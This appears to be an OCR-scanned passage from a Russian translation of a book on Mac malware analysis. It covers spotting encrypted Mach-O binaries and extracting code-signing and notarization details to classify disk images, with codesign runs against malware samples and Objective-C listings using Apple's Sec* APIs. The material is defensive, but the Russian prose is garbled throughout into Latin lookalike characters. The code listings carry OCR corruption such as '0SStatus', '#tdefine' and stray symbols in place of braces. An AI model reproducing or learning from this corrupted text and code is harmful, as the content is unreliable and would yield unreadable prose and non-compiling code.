Bepcuammn macOS. YTobbl HanmcaTb kod, CNocobHbIM 06HapyxuTb 32-6uTHbIN installer HackingTeam,
HY>XHO YOeamnTbCsl, YTO OH ucnonbayeTt 32-6uTHble Bepcun cTpykTyp Mach-O, Takue kak mach_header un
LC_SEGMENT. (3] Ecrin 6b1 Mbl BHECTIM 3T1 MaMeHeHs 1 3anyctunm kog ans installer, oH npaBunbHO
nomeTun 6bl ABOMYHBLIN hainn Kak NCNOMb3yoLWMI NponpueTapHyto cxemy wndposaHus Apple:

% ./parseBinary HackingTeam/installer

segment _ TEXT's flags: 'SG_PROTECTED_VERSION_1°'
binary is encrypted

Mbl oTMeTnnn, 4To x0T MacOS HaTMBHO Noaaep>KuBaeT 3awmndpoBaHHbIE BONYHbIE halnbl, aTa
BO3MOXHOCTb HE JOKYMEHTMPOBaHa, NO3TOMY NI0OON CTOPOHHUIA ABOUYHbBIN dawin, 3andpoBaHHbIN
TakuM crnocobom, criegyeT BHUMATENbHO UCCIEeAoBaThb, MOCKOSbKY 3TO MOXET ObiTb BpeAOHOCHast
nporpaMmma, KOTOPOWN €CTb YTO CKpbIBaTb. (4]
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3aknro4yeHue

B aTow rmase Bbl Hay4MnMcb NoaTBEPXAATh, YTO (hann asnsetcsa Mach-O unu yHuBepcanbHbIM
OBOMYHBIM (harnom, cogepxawmnm Mach-O. 3atem Bbl n3Bnekanu 3aBMCUMOCTU U UMEHA U
obHapyxvBanu, Obin N ABOUYHbIN dharn ynakoBaH Mnm 3amndposaH.

PasymeeTtcs, ¢ gBon4dHbIM charnom Mach-O MoXHO caenaTb MHOMO ApYrMX MHTEPECHbIX BeLLEN, YTOObI
knaccuduumpoBaTth ero kak 6e306uaHbIN Ny BpeaOHOCHbIN. 3a ngesammn nocMoTpuTe BbiCcTynneHne Kumo
BymaHrnara Ha Objective by the Sea. (15]

W nocnegHast Mbicnb: 1 OTMeYarl, YTo HU O4Ha OTAeNbHas TOYKa AaHHbIX, PACCMOTPEHHAs B 3TOW rnase,
He MOXEeT OKOHYaTerNbHO yKa3aTb, YTO ABOUYHbINA dalin Bpe4oHOCEH. Hanpumep, HUYTO He MeLlaeT
nernTMMHbIM paspaboTymkam yrnakoBblBaTb CBOM ABOUYHbIE dpansbl. K cyacTblo, B HaLLEM pacnopsiKeHun
€CTb eLlle OAMH MOLLHbIN MexaHn3Mm st 0OHapyXeHMs BPEAOHOCHbIX MporpamMmMm: nognuck koga. [maea 3
nocBesiLLleHa aTon Teme. YutanTte ganblue!
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naBa 3. lNoanuck Kopa

B aToW rmaBe Mbl HanuLeM KoA, CMOCODHLIN U3BMeKaTb CBeAEHMS O nognucy koga n3 dhopmaTtoB aninos
pacnpocTpaHeHusi, KOTOPbIMM YacTo 310ynoTpebnsaoT Bpe4OHOCHbIE NporpamMmmbl, Takmx kak disk images
n packages. 3atrem obpaTtMm BHMMaH1e Ha CBeEAEHMsI O NoANMcKU Koga ABonydHbIX dharnoB Mach-O Ha
Oucke 1 3anyLleHHbIX npoueccoB. [N Kaxaoro cny4vas s nokaxy, kak nporpaMMHO NPoBepsiTb CBeAEHUS
O noanucu koga n obHapyxusaTb Nobble 0TO3BaHHbIe cepTudmkatsl nnm tickets.

MoBeaeHYeckne 3BPUCTUKU, paccMaTprBaeMble Ha MPOTSHKEHNN STON KHUMU, ABNAOTCA MOLLHBLIM
NnoaxoAoM K 0BHapyXeH 0 BPedoHOCHBIX NporpaMM. Ho y 3Toro noaxoda ecTb He0CTaTOK: NTOXHbIe
cpabaTbiBaHUS, BO3HMKAKOLLME, KOraa Ko OLUMBOYHO NoMeYaeT YTo-NMbo Kak noao3putensHoe.

OauH cnocob yMeHbLUNTb KONMYECTBO NOXHbIX cpabaTbiBaHUii - CCNeoBaTb CBEAEHUS O MoANMCU Koda
obbekTa. MNogaepxka kpunTorpacmnyeckon nognmucu koga y Apple He umeeT paBHbIX, U Kak pa3paboTymku
cpeacTB ObHapyXeHus BPeAOHOCHbBIX NPOrpaMM Mbl MOXEM MCMOMNb30BaTh ee No-pa3HoMy, Npexae BCero
4yToObl NOATBEPXAATh, YTO 0OBLEKTHI MPONCXOAAT U3 U3BECTHBLIX 4OBEPEHHbIX MCTOYHUKOB U YTO 3TU
06beKTbl He BbINN N3MEHEHDI.

C opyron cTopoHbl, NMobon HENOANUCAHHbIA UM HEHOTapManNn3oBaHHbI OOBEKT crneayeT BHUMATENBHO
n3yyaTb. Hanpumep, BpegoHOCHas nporpamMma 4acTto nMbo NoMHOCTBIO HenognucaHa, Nubo nognucaHa
ad hoc, To ecTb camono4NUCaHHbLIM UNN HEJOBEPEHHBLIM CEPTUAUKATOM. XOTSA CyObEKThbI yrpo3 MHOraa
MOryT NOAMNUCHLIBaTb CBOW BPEOOHOCHbIE NPOrpamMMbl MOLLEHHUYECKU NMOMNYyYEHHbIMU UMK YKPa4EeHHbIMA
cepTMdukatamm pa3paboTymkoB, peako ObiBaeT Tak, 4To Apple elle n HoTapuanuaoBana Takyto
BpeLoHOCHYIo nporpammy. bonee Toro, koraa Apple gonyckaeT owmnbKy, oHa YacTo BbICTPO OT3bIBAET
signing certificate nnu notarization ticket.

BonbLIMHCTBO hparMeHTOB koAa, NpeACTaBMNEHHbIX B 3TOM rfaBe, MOXHO HaWTK B NpoOeKTe
checkSignature, goctynHom B GitHub-penosuntopun kHurn.

BaxHocTb nognucu koga npyu o6HapyXeHUn BPpeAOHOCHbIX NporpamMm

B kayecTBe npumepa Toro, noYyemy NoAnMcb Koga nonesHa Anst obHapyXeHUss BpPeAOHOCHbIX NPOrpamm,
npegcTaBbTe, YTO Bbl pa3pabaTbiBaeTe 3BPUCTUKY A4S MOHUTOPUHIA (ansioBo CUCTEMBI Ha Hanu4ne
NMOCTOSIHHO YCTaHOBIIEHHbIX 06BbEKTOB. JTO pa3yMHbI NOAX04 K OBHapyXeHN0 BPEeAOHOCHbIX MPOorpamMm,
MOCKOSbKY nogaensitoLiee 60MbLLMHCTBO BPEAOHOCHBIX Nporpamm Ans Mac 6yaeT 3akpennaTbes Ha
3apakeHHoOM xocTe. [lonycTum, Balla 3BpuUCTMKa cpabaTbiBaeT, korga property list
com.microsoft.update.agent.plist 3akpennseTca kak launch agent. OToT property list ccoinaetcs Ha
npunoxeHne ¢ uMeHem MicrosoftAutoUpdate.app, KOTOpoe onepaunoHHas cuctema Tenepb Oyaet
aBTOMaTUYeCKU 3anyckaTb Kaxabl pas, kKorga nofnb3oBaTenb BXOOUT B CUCTEMY.

Ecnu Bawwm BO3MOXHOCTM 0BHapYyXeHNs1 He Y4YUTbIBAIOT CBEAEHNSI O NOAMUCK KOAa 3aKpensieHHoro
obbekTa, Bbl MOXETE co3faTh npeaynpexgeHme ansa cobbiTns 3akpenneHus, KoTopoe Ha caMmom gene
NonHOCTbIO 6e300MaHo. Mo3ToMy BOMPOC CTAHOBUTCS TakUM: OEeNCTBUTENBbHO N 3To updater Microsoft
Unu BpeaoHoCHasi nporpamMmma, Mackupytowascs nog Hero? Nposepus code signing signature
NPUMOXEeHWs, Bbl JOIMKHbI CYMETb OTBETUTb Ha 3TOT BONPOC OKOHYaTenbHO; ecnn Microsoft
OeCcTBUTENBHO nognucana obbekT, COObITUE 3aKPENNEHUS MOXHO UTHOPUPOBATb, HO ECINN HET, OO BLEKT
3acnyxvBaeT ropasgo 6onee NnpMcTanbHOro U3yveHust.

K coxaneHuto, CyLLeCTBYIOLLME NPOAYKTbI 0GHAPYXEHUS BPEAOHOCHbIX MPOrpaMM MOTyT HEAOCTATOYHO
yuuTbIBaTb CBEAEHUs1 0 nognucu koga. Hanpumep, paccmotpum Malware Removal Tool (MRT) ot Apple,
BCTPOEHHbIN MHCTPYMEHT OOHapyXeHWs1 Bpe4OHOCHbIX MPOrpaMm, NPUCYTCTBYIOLLUIA B HEKOTOPbIX
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Bepcusax macOS. 31oT platform binary, pasymeeTcs, nognucaH camon Apple. M Bce e MHorne
aHTVBUPYCHbIE OBWXKN B TOT UIIU MHON MOMEHT nomeyanu ABoudHbii can MRT,
com.apple.XProtectFramework.plugins.MRTv3, KaKk BpeAOHOCHbLIN, MOTOMY YTO UX aHTUBMPYCHbIE
CUTHaTypbl HAMBHO COBMAaZANN ¢ CO6CTBEHHBIMW BCTPOEHHLIMU BUPYCHbIMK curHatypamu MRT (puc. 3-1).

12 \ :I; 12 security vendors and 1 sandbox flagged this file as malicious

\""-._.-'-"/

fod?5%fdbad ffbB21dd3ece3addc170%cEbecba 744 fdB 1488446202 7595230463
com.apple XProtectFramework pluging. MRTv3

Gdbits BT macha rmiLilti-arch nadamain

PucyHok 3-1: Malicious Removal Tool ot Apple, nomeyeHHbIN Kak BpedOHOCHbIN

[encTeutensHO AOBOMBLHO KOMUYHOE NOXHOe cpabaTbiBaHne. Ecnv ocTaBuTb LYTKN B CTOPOHE,
NpoAyKTbl, KOTOPbIE OWMOOYHO KraccuULMpyOT NerMTUMHbIe 06beKTbI Kak BpeLJOHOCHbIE Mporpammel,
MOryT npeanynpegnTb Nnofib3oBaTend, Bbi3BaB 3aMeLllaTefnibCTBO, UIN, YTO XyXe, HapyLWnTb NermTMMHyro
YHKUMOHANLHOCTb, MOMECTMB 0OBbEKT B quarantine. XoTs CTOPOHHME NpoAdyKTbl 6€30MacHOCTH, K
cyacTblo, He MOTYT yaanuTb cucTeMHble koMnoHeHTbl Bpoae MRT, Apple, kak n3BecTHo, nHorga
HenpegHaMepeHHo GroknpoBana cO6CTBEHHbIE KOMMOHEHTbI, HapyLwas paboTy cucTemsl. B o6onx
cryyasx noruka obHapyxeHus morna 6bl NPOCTO NpoBEpPUTL CBEAEHMS O MOAMNWUCK Koaa obbekTa u
yBUAETb, YTO OH NPUHAANEXUT JOBEPEHHOMY UCTOYHUKY.

CepeHunsi 0 NOANUCKU Koga MOTYT He TONbKO YMEHbLUATh KONMYECTBO FIOXHbIX cpabaTbiBaHuiA. Hanpumep,
WHCTPYMEHTbI 6€30MacHOCTU AOMKHbI paspeLlaTtb JOBEPEHHbIM UM 0400PEHHbIM Nofb3oBaTenem
0ObeKTaMm BbINOSNHATL AENACTBUS, KOTOPbIE MHaye Mornuv Obl BbI3BaTb NpedynpexaeHne. PaccmoTpum
cny4an npocToro firewall, koTopbIi cO30aeT yBeJoMITEHNE BCAKUIA pas, Korga HeLOBEPEHHbLIN 00bLEKT
nblTaeTcs Nony4nTb OCTYN K ceTun. YTobbl pasnnyatb JOBEPEHHbIE N HeAOBEPEHHbIe 06bekThI, firewall
MOXeT npoBepsaTb code signing signatures o6bekToB. Co3gaHue npaeun firewall Ha ocHoBe cBedeHM O
NMOANUCK KO4A UMEET HECKONbKO NPENMYLLECTB:

» Ecnn BpegoHocHas nporpaMmma nonbitaetcst 060nTu firewall, U3MeHNB NeErMTUMHBIN OOBEKT, NPOBEPKU
noanucu koga obHapyxar 3Ty NogMeHy.

* Ecnn ogobpeHHbIn 06bekT NepeMecTnTcs B Apyroe MecTo ¢halinoBoi CUCTEMbI, NPABUIIO BCE PaBHO
COBMageT, MOCKOSbKY OHO He NPUBA3aHO K NyTU 0ObEKTa UMM KOHKPETHOMY PacrONOXEHWIO.

Hapgetocb, 3T KOPOTKUE NPUMEPbI YKe NoKasanu Bam LIeHHOCTb U3y4eHUsl CBeeHuit o noanucuy koda. Ans
NOMHOTLI NEPEYNCIINM eLLle HECKOMbKO CNocob0B, KOTOPLIMI CBEAEHNA O NoAMMCH Koga MOryT MOMOYb
nporpaMmMHO 0GHapyXrBaTb BPeAOHOCHLIN KOA;:

O6HapyxeHue HoTapuanusaumu. HegasHue Bepcun macOS TpebytoT, UToObl Bce 3arpykeHHoe MO
6bIno nognmcaHo Ans sanycka. [MoaTomy 60MbWMHCTBO BPEAOHOCHBIX NPOrpaMmM Tenepb NoAnMcaHo,
yacto ad hoc certificate unn moweHHu4vecknm developer |ID. OgHako BpegoOHOCHbIE NpPOrpamMMbl Peako
HOTapuanusoBaHbl, NOTOMY YTO HOTapuanusaums TpebyeT oTnpaBuTb 06beKT B Apple, koTopas ckaHupyeT
ero, a 3ateM BblaaeT notarization ticket, ecnvm o6bekT He BbIrMAAWUT BPEAOHOCHbIM. 21 B tex HemHormx
cnyyasx, korga Apple HenpegHamepeHHO HoTapuanusoBana BpeAoHOCHbIE NPOorpamMmbl, OHa BbICTPO
obHapyxvBana npomax u oT3biBana HoTapuanusaumio. Bl Takve owmbku KpanHe peaku, n
HOoTapuanusoBaHHble 0ObEKThI, Ckopee Bcero, 6e306maHbl. Micnonb3ys nognuck koga, MoXHO 6bICTpO
onpeaenuTb, HoTapnanusoBaH N O6bLEKT, YTO AaeT HadeXHbIN NpU3Hak Toro, 4To Apple He cuntaeT ero
BpegOHOCHOW NporpaMmmon.
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O6HapyxeHue oT3bIBOB. Ecrin Apple oto3Bana code signing certificate nnu notarization ticket oobexra,
3TO O3HaAYaeT, YTO KOMNaHWs pewnna: 06bekT Bonblue He JOMMKEH pacnpoCTPaHATLCS U 3anycKaTbCs.
XOoTs 0T3bIB MHOrAA MPOUCXOAMNT No 6e306uAHBLIM NPUYNHaM, YacTo OH CBA3aH C TeM, 4To Apple coyna
06bEeKT BpeAOHOCHbIM. JTa rmaBa 06bACHSET, Kak NporpaMMHO 06HapyXMBaTb OT3bIBbI. (4]

CBA3biBaHUe 06bEKTOB C M3BECTHLIMU NPOTUBHMKaMKU. CBeeHUs O NOANMCK Koaa, KOTopble
uccriegoBaTenu cBa3anu ¢ Bpe4OHOCHbIMY NPOTUMBHMKaMK, Hanpumep team identifiers, Bnocneactsum
MOryT NOMOYb MaeHTUdULMpoBaTh Apyrne obpasLibl BpeAOHOCHLIX MPOrpaMMm, Co3aaHHbIe TeMU e
aBTOpamu.

Mpun 06Hapy»xeHUN BPEAOHOCHbLIX NPOorpaMm Bac 0BbIYHO MHTEPECYIOT CReaytoLimMe cBeaeHusl 0 NoanmcK
Koga obbekra:

» Obwun craTyc cBeageHun, signing certificate n notarization ticket. MonHocTblo N1 06BLEKT NogNUCaH U
HOTapranuM3oBaH, N OCTaKTCA N signing certificate n notarization ticket B xopowem coctosHun?

* Code signing authorities, onuceiBatoLue LenoYKy NOANUCABLUNX CTOPOH, MOCKOSIbKY OHM MOTYT AaTb
npeacTasneHne 0 NPOUCXOXOEHUN U HAAEXKHOCTM NoAnMcaHHOro obbekTa.

* HeobsasaTenbHbIn team identifier o6bekTa, KOTOPbLIV yka3biBa€T KOMaH4y U KOMNaH1I, Co34aBLUYo
noAanucaHHein 06bekT. Ecnu team identifier npyHagnexut aBTopuTeTHOW KOMNAHUK, NOANNCAHHOMY
06beKTY 0ObIYHO MOXHO 4OBEPAT.

Ota rnaBa He OyaeT paccMaTpuBaTb BHYTPEHHEE YCTPOMCTBO NoANUCK koga. BmecTo aToro oHa
cocpenoToyeHa Ha KoHuenumsax 6onee BbICOKOro ypoBHS, a Takke Ha API, ucnonb3syembix gnsi
M3BNeYeHns cBeieHNn 0 noanucy koaa. o]

OpHako nomHuTe, 4TO He Bce B macOS nognvcaHo u He BCe nognvcaHo oanHakoBo. Hanbonee 3aameTHO,
4TO pa3paboTumKuM He MOryT NOAMUCHIBATL CAMOCTOSATENbHbIE SCripts, YTO ABMSETCA OAHOW U3 NPUYMH, NO
KoTopbiM Apple oTYasitHHO NbiTaeTcs BbIBECTU MX M3 ynoTpebnexus. Agpo macOS Takke He nognucaHo
Kak TakoBoe. BMecTo aToro npouecc 3arpy3ku ncnonb3yet kpuntorpadpuyeckuin hash, utobel nposeputsb,
YTO OHO OCTaEeTCs HEM3MEHHbBIM.

XOoTs pa3paboTymKkm MOryT U JOSMKHBI MOANUCHLIBATL HOCUTENW pacnpocTpaHeHust, Takue kak disk images,
packages u zip archives, a Takxke applications u camocrositensHble binaries, MHCTpymMeHTbl 1 AP,
n3BrekaroLme cBegeHns o nognucy koga, 4acTto cneunguyHbl ana Tuna ganna. Hanpumep, ytunuta
Apple codesign n API code signing services paboTtatoT ¢ disk images, applications u binaries, Ho He ¢
packages, cBeeHMs1 O KOTOPbIX MOXHO M3Y4UTb C MOMOLLbIO YTUAUTLI pkgutil vnum 3akpbiTbix API
PackageKit.

PaccMoTpyM, kak Bpy4YHYHO 1 MPOrpaMMHO U3BreKaTb M NMPOBEPSTL CBEAEHMS] O MOANUCY Kofa, HaunHasi ¢
HocuTenein pacnpocTpaHeHusl.

Disk Images

W nerntumHble pa3paboTynkn, 1 aBTopbl BPEAOHOCHbBIX MPOrpaMM YacTo pacnpoCTPaHSAT CBOM KO Kak
disk images, nmetowme pacwmpenune .dmg. bonbwmnHcTBO disk images, cogepxalumx BpeaOHOCHbIE
nporpammebl, HEMNOANUCAHbI, U €CNW Bbl BCTPETUIN HENOAMWCAHHBIN . dmg, KaK MMHUMYM crnegyeT
NpoBepUTb, NOANUCaHbI N HOTapuanu3oBaHbl N coaepxalmecs B HeM 06bekTbl. OgHaKo Hanu4dne
CBELeHUIN 0 NoANMcK kofa He o3HavaeT, uTo disk image 6e306uaeH; HAYTO He MeLLaeT aBTopam
BPEAOHOCHbLIX MporpamMmm Mcnonb3oBaTth KpunTorpaduyeckne nognucu. Koraa Bbl BCTpeyaeTte
noanucanHel disk image, ucnonb3ynte cBeAeHUs O NOANUCKU KoAda ANda naeHTUdUKaLm cosgartens.
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PyuyHas npoBepka nognucem

Bbl MOxeTe Bpy4Hyto npoBepuTb nognuck disk image ¢ noMoLubio BCTpoeHHon B macOS yTunuthl
codesign. BbinonHuTe ee ¢ napaMeTpoM KOMaHAHOW CTPOKU - -verify, UM COKpalleHHO -v, U NyTeM K
danny .dmg.

B cnepytowem npumepe codesign onpegenseT KOppekTHO nognucaHHbin disk image, cogepxawmn LulLu,
nerutumHoe MO oT Objective-See. Koraa MHCTpyMeHT BCTpeyaeT KOPPEKTHO NoanucaHHble images, no
YMOJTYaHMIO OH HUYEro He BbIBOAWUT; MO3TOMY Mbl MCMONb3yeM napameTp -dvv, 4ToObl 0TOOpas3nTb
noapo6HbI BbIBOA;:

% codesign --verify LulLu_2.6.0.dmg

% codesign --verify -dvv LulLu_2.6.0.dmg

Executable=/Users/Patrick/Downloads/LulLu_2.6.0.dmg

Identifier=LuLu
Format=disk image

Authority=Developer ID Application: Objective-See, LLC (VBG97UB4TA)
Authority=Developer ID Certification Authority
Authority=Apple Root CA

MoapobHeIn BbIBOA NokasbiBaeT nHdopmaumio o disk image, Takyto kak nyTb, identifier n format, a Tarke
ero status nognucu koga, Bkrtoyas uenouky certificate authority. Mo uenouke certificate authority BugHo,
yTo package 6bin nognucaH Apple Developer ID, npuHagnexawmm Objective-See.

Ecnu disk image He noanucaH, ytunuTta otobpasuT coobuieHne code object is not signed at all.
MHorue nporpaMMHble 06beKTbI, BKITHOYas 60MbWMHCTBO 06pa3sL 0B BPEAOHOCHbLIX NPOrpamMm,
pacnpocTpaHsieMbix Yyepes disk images, nonagatoT B 3Ty KaTeropumio; aBTopbl Mornuv nognucatb MO nnn
BPELOHOCHYI0 NPOorpamMMy, HO HE HOCUTENb pacnpocTpaHeHns. Hanprumep, B3rnsHWTE Ha BPEAOHOCHYIO
nporpammy EvilQuest. PacnpocTtpaHsiemas yepes disk images, oHa cogepxuT packages
TposiHM3MpoBaHHbIX applications:

% codesign --verify "EvilQuest/Mixed In Key 8.dmg"
EvilQuest/Mixed In Key 8.dmg: code object is not signed at all

HakoHeu, ecnn Apple otossana nognuck disk image, codesign otobpa3ut CSSMERR_TP_CERT_REVOKED.
[Npumep aToro MoXxHo yBuaeTb B disk image, ncnonb3oBaHHOM A9 pacnpoCcTpaHeHNa Bpe4OHOCHOM
nporpammsbl CreativeUpdate:

% codesign --verify "CreativeUpdate/Firefox 58.0.2.dmg"
CreativeUpdate/Firefox 58.0.2.dmg: CSSMERR_TP_CERT_REVOKED

Moannck BpegoHOCHOWM NporpaMmMbl 6onblLle He AeACTBUTENbHA.

MN3Bne4yeHue cBegeHUM 0 noanucu koaa

[asaiite nporpaMmMHO n3BrneyYemM 1 NpPoBepuM cBeaeHns o noanucn koga disk image ¢ nomouysio API
Apple code signing services (Sec*). 61 g npoekte checkSignature aTon rnasbl Bbl HaVaeTe PYHKUMIO C
nmeHeMm checkItem, koTopas NMpMHUMAET NyTb K NpoBepseMoMy 00bekTy, Hanpumep disk image, u
BO3BpaLlaeT CroBapb C pe3ynbTaTamu NpoBepkn. [ns KOPPEKTHO NOAMMCAHHbIX OOBHEKTOB OHA TaKKe
BO3BpalllaeT cBefeHu s, Takue Kak code signing authorities, ecnun oHu ecTb.

Pagu kpatkocTu s1 onyctun 6a3oBble NPOBEPKU 34paBOro CMbicna 1 oWnBoK 13 60nbLUMHCTBA
hbparMeHTOB Kofa B aToM kHure. OgHako korga pedb uaeT o NOANUCU KoAa, KoTopas npegocTtasnseT
cpencTea Ans NPUHATUS KPUTUYECKM BaXKHbIX PELLEHMI O HAOEXKHOCTU OOBEKTOB, KpaHe BaXXHO, YTOObI
KOZ KOpPeKTHO obpabaTbiBan owmnbKu.
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Bes ycTtonumBbix MexaHn3mMoB 06paboTkM OLWMBOK Ko MOXET HenpegHaMepeHHO LOBEPUTLCS
BPEeAOHOCHOMY OOBEKTY, MackupyoLemycsi nog 4Yto-1o 6e3obmaHoe! NoatomMy B 31OV rnaBse hparMeHThl
KOQa He OMnycKatloT TakMe BaXKHble NPOBEPKU OLWNBOK.

MepBbIN Wwar K n3BrneYeHnto cBegeHni o noanucu koga nboro obbekTa - NoNyyYnTb Tak Ha3biBaeMyto
CCbINIKy Ha 0OBbEKT koda, KOTOPYHO 3aTEM MOXHO NepefaBaTb BCEM nocneayowmm BoizoBam APl nognvcu
koga. [ins o6bekToB Ha Aucke, Takmx kak disk images, Bbl nonyyute static code object Tuna
SecStaticCodeRef. ] [nsa 3anyLeHHbIX NpoLLeCCoB BMECTO 3Toro 6yaeT nonydeH dynamic code object
Tnna SecCodeRef. [

YTtobbl nonyumnTs static code reference n3 disk image, BbizoBute APl SecStaticCodeCreateWithPath c
nytem Kk ykazaHHomy disk image, HeobssaTenbHbiMU flags 1 BbIxoaHbIM ykasaTenem. Korga dpyHkums
BEpPHEeTCH, 3TOT BbIXOAHOW ykasaTenb OyaeT cogepxaTb ob6bekT SecStaticCode Ansa ncnonb3osaHns B
nocnegyowumx Bbizosax APl (nuctunr 3-1). (9] O6paTtute BHMMaHMe, 4TO Nocre 3aBepLueHns paboTbl ¢
3TUM yKasaTtenem ero criefyet ocBo6oanTb ¢ nomoLLbio CFRelease.

NSMutableDictionary* checkImage(NSString* item) {

SecStaticCodeRef codeRef = NULL;
NSMutableDictionary* signingInfo = [NSMutableDictionary dictionary];

CFURLRef itemURL = (__bridge CFURLRef)([NSURL fileURLWithPath:item]);
0SStatus status = SecStaticCodeCreateWithPath(itemURL, kSecCSDefaultFlags, &codeRef);

if(errSecSuccess != status) {
goto bail;
}

bail:

if(nil != codeRef) {
CFRelease(codeRef);
}

return signingInfo;

}
JluctnHr 3-1: NonyyeHue static code object ana disk image

Mocne nHnumanmaaumm obbekta URL, cogepxawero nyTe disk image, KOTOpbIN HY)KHO NPOBEPUTL, Mbl
BbI3biBaeM APl SecStaticCodeCreateWithPath. Ecnu aTta yHKUUMA 3aBepLluaeTcs Heyaaden, oHa
BO3BpalLlaeT HeHyneBoe 3HayeHne. Ecnn API Sec* 3aBepLuatoTcs ycnewHo, OHM BO3BpaLLalT HOSb, YTO
COOTBETCTBYET NPEANOYTUTENBHON KOHCTaHTE errSecSuccess. Kogbl oinbok, KoTopble MOryT
Bo3BpalLatb APl Sec*, a ob6cyxaato B pasgene «Koabl owumbok nognucu koga» Ha crpaHuue 97. OHu
Takke nogpobHo onucaHbl B AokymeHTaumm Apple “Code Signing Services Result Codes”. 9T Takke
obpaTtnTe BHUMaHue, 4To, korga paboTa CO CChINKOW Ha Kof, 3aBepLUeHa, Mbl JOIMKHbI 0CBOOOAUTE ee
yepe3 CFRelease.

B aTtom 1 nocneayowmnx doparMeHTax koga Bbl yBUAUTE UCMNONb3oBaHMe bridging - mexaHnsma,
nossonstoulero toll-free obpasom npnsognTb 06bEKTHI Objective-C k o6bektam Core Foundation,
ucnone3dyembiM API nognucu koga Apple, n o6patHo. Hanpumep, B nuctunre 3-1 API
SecStaticCodeCreateWithPath oxunpgaet CFURLRef B kauyecTBe nepBoro aprymeHTa. lNpeobpasosas
nyTb disk image B 06bekT NSURL, mbl bridge-um ero k CFURLRef ¢ nomowsio (__bridge CFURLRef).

MogpobHee o bridging moxHo npountaTh B AokymeHTe Apple “Core Foundation Design Concepts”. (1]

Cosgas static code object gnsa disk image, mbl Mmoxem Bbi3BaTh APl SecStaticCodeCheckvalidity ¢
TONbKO YTO CcOo3aaHHbIM 06bekToM SecStaticCode, YTOOLI NPOBEPUTL €ro AeNCTBUTENBHOCTb, COXPaHUB
pesynbTaT Bbl30Ba, YTOObI BEPHYTb €0 Bbi3blBatoLLEMY Kogy (MUCTUHT 3-2).
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#tdefine KEY_SIGNATURE_STATUS @"signatureStatus"

status = SecStaticCodeCheckValidity(codeRef, kSecCSEnforceRevocationChecks, NULL);
signingInfo[KEY_SIGNATURE_STATUS] = [NSNumber numberWithInt:status];

if(errSecSuccess != status) {
goto bail;
¥

JluctnHr 3-2: MNposepka gencTBuTeNbLHOCTM nognuck koaa disk image

OO6bI4HO 3TOT API BbI3bIBaIOT C KOHCTAHTOM kSecCSDefaultFlags, cogepxalen Habop flags no
YMOMYaHuIo, HO YTOBbI BbINMOMHUTEL NPOBEPKU OT3biBa cepTudmKkaTa kak YacTb validation, HyxHO nepegaTtb
kSecCSEnforceRevocationChecks.

[anee mMbl npoBepseM, YTO BbI30B 3aBepLUUIICA ycnelwwHo. Ecnv He BbinonHWTE 3Ty validation,
BPELOHOCHBIN KOO MOXET CyMeTb NOAOPBaTb NPOBEPKM NOANMCHK Koaa. 2 Ecrn API 3aBepLuaeTcs
Heygauyen, Hanpumep ¢ errSecCSUnsigned, ckopee Bcero, cneayeT npepeaTh M3BneveHme nodbix
JanbHenwnx CBEAEHUA O NOANMCK Koda, KoTopble NMbo OTCYTCTBYIOT B Crlydae HEMOAMUCAHHbIX
06bekTOB, NMMBO He 3acnyXnBaKT AOBEPUS.

Mocne Toro kak Mbl onpefenunu AelcTBUTENbHOCTL cTaTyca noanucu koga disk image, MOXXHO U3Bneyb

cBefeHus o ero noanucy koga vepes APl SecCodeCopySigningInformation. Mbl nepegaem atomy API
06bekT SecStaticCode, flag kSecCSSigningInformation n BbIXO4HOWM yKka3aTenb Ha CrioBapb, KOTOPbIA
HY>KHO 3anofHUTbL NogpobHocTaMu noanucu koga disk image (nMctuHr 3-3).

CFDictionaryRef signingDetails = NULL;

status = SecCodeCopySigningInformation(codeRef,
kSecCSSigningInformation, &signingDetails);

if(errSecSuccess != status) {
goto bail;
¥

Jluctuhr 3-3: aBneyeHne ceegeHnn o nognucu koga

Tenepb MOXHO U3BNEYb COXPaAHEHHbIE CBEAEHUS N3 CNOBapsi, HanNpMMmep Lenouky certificate authority, ¢
nomouypbto kntoya kSecCodeInfoCertificates (nuctunr 3-4).

#tdefine KEY_SIGNING_AUTHORITIES @"signatureAuthorities”

signingInfo[KEY_SIGNING_AUTHORITIES] = ((__bridge NSDictionary*)signingDetails)
[(__bridge NSString*)kSecCodeInfoCertificates];

JluctnHr 3-4: N3sneyveHue uenouku certificate authority

Ecnn o6bekT nmeet ad hoc signature, B ero cnosape nognucu koga He OyaeT 3anvcu nog Kiovom
kSecCodeInfoCertificates. Ewe oguH cnocob onpegenutb ad hoc signatures - npoBepuTb KoY
kSecCodeInfoFlags, koTopbin cogepxuT flags nognuck koga obbekTa. [1na ad hoc signatures mbl
obHapyXnM, 4TO yCTaHOBMNEH BTOPOWN MMaALumin 3Havawmii 6ut (2) B flag; cBepmBLUUCE C 3arofioBOYHbLIM
davinom Apple cs_blobs.h, Mbl BUOUM, 4TO OH COOTBETCTBYET KOHCTaHTe CS_ADHOC.

Penko moxHo yBuaeTsb disk images, nognucaHHble ad hoc 06pa3om, NOCKONbKY OHU BOOOLLE HE TPebyOT
NoAnucK, Ho, Tak kak apps v binaries JormkHbl 6bITb NOANMCaHbI ANs 3anycka, Bbl YacTo byaeTe BUOETb
BpPEAOHOCHbIE NPOrpaMMbl, NOANUCAHHLIE TakuM criocobom. Ml Moxem nseneds flags nognucn koga
cnocobom, NokasaHHbIM B TMUCTUHTe 3-5.

#define KEY_SIGNING_FLAGS @"flags"

signingInfo[KEY_SIGNING_FLAGS] = [(__bridge NSDictionary*)signingDetails
objectForKey: (__bridge NSString*)kSecCodeInfoFlags];
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Jluctunr 3-5: N3snevenue flags nognmcu koga o6bekTa

3aTeM MOXHO NPOBepPUTL 3T U3BMeYeHHble flags Ha 3HayeHwe, ykasbiBatowee ad hoc signature (MUCTUHT
3-6).
if([results[KEY_SIGNING_FLAGS] intvalue] & CS_ADHOC) {

// Code here will run only if item is signed in an ad hoc manner.

}
Jlnctnur 3-6: Mpoeepka flags nognucm koaa

CrnoBapb xpaHuT 311 flags B uncnoeom ob6bekTe, NMO3TOMY CHavana Hy>kHo npeobpasoBaTth UX B integer, a
3aTeM BbINOMHUTEL NobuToByto onepauuto AND (&), 4Tobbl NpoBepuTb OUTLI, 3aaaHHble CS_ADHOC.

Korga pabota co cnoBapeM CFDictionaryRef 3aBeplueHa, ero HyXxHo ocBo6oauTe Yepes CFRelease.

N3BneyeHue cBegeHU O HOTapuanusauum

YUTto6bl n3Bneyb cratyc HoTapmanmsaumm disk images, MoXxHO ncnone3oBatb API
SecRequirementCreateWithString, kOTOpbI NO3BOMNSAET CO3aAaTh requirement, KOTOPOMY OO BHEKT
